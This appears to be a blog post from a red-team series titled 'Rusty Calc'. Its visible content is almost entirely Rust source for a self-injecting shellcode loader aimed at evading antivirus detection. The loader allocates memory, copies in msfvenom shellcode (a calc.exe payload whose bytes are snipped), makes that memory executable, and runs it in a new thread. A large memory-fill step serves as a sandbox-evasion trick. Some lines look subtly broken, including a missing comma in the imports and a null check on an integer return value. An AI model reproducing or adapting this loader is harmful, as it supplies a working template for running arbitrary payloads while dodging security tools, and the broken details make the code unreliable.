ZeroTotal: Rusty Calc
The quest to achieve an undetectable self-injecting calc implant using Rust
Part One: Introduction
Part Two: The Code
// Self-Injecting Rust Implant, using windows_sys crate
// by 0xTriboulet
use std::process;
use std::ffi::c_void;
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::Foundation::GetLastError;
use windows_sys::Win32::Security::SECURITY_ATTRIBUTES;
use windows_sys::Win32::System::LibraryLoader::{GetModuleHandleA,GetProcAddress};
use windows_sys::Win32::System::Threading::{CreateThread,WaitForSingleObject,LPTHREAD_START_ROUTINE,THREAD_CREATION_FLAGS};
use windows_sys::Win32::System::Memory::{VirtualAlloc,VirtualProtectMEM_COMMIT,MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READ, PAGE_PROTECTION_FLAGS};
use std::ptr;
type DWORD = u32;
#[allow(non_snake_case)]
fn main(){
//msfvenom -p windows/x64/exec CMD="calc.exe"
let payload : [u8;276] = […snip…];
let buffer;
let buffer_size = 1000000000;
unsafe {
buffer = libc::malloc(buffer_size);
libc::memset(buffer, 69, buffer_size);
};
if true {
// allocate memory
unsafe{
let base_addr: *mut c_void= VirtualAlloc(
ptr::null_mut(),
payload.len().try_into().unwrap(),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if base_addr.is_null() {
println!("[-] Couldn't allocate memory to current proc.")
}
// copy memory
std::ptr::copy(payload.as_ptr() as _, base_addr, payload.len());
let mut old_protect: DWORD = PAGE_READWRITE;
//make memory executable
let virtual_protect = VirtualProtect (
base_addr,
payload.len() as usize,
PAGE_EXECUTE_READ,
&mut old_protect
);
if virtual_protect.is_null() {
let error = GetLastError();
println!("[-] Error: {}", error.to_string());
process::exit(0x01);
}
//create thread
let mut tid = 0;
let ep: extern "system" fn(*mut c_void) -> u32 = { std::mem::transmute(base_addr) };
let h_thread = CreateThread(
ptr::null_mut(),
0,
Some(ep),
ptr::null_mut(),
0,
&mut tid
);
if h_thread == 0 {
let error = GetLastError();
println!("{}", error.to_string())
}
let status = WaitForSingleObject(h_thread, u32::MAX);
if status != 0 {
let error = GetLastError();
println!("{}", error.to_string())
}
libc::free(buffer);
}
}
}


Part Three: Going a little bit further

Part Four: Conclusion
References
Last updated




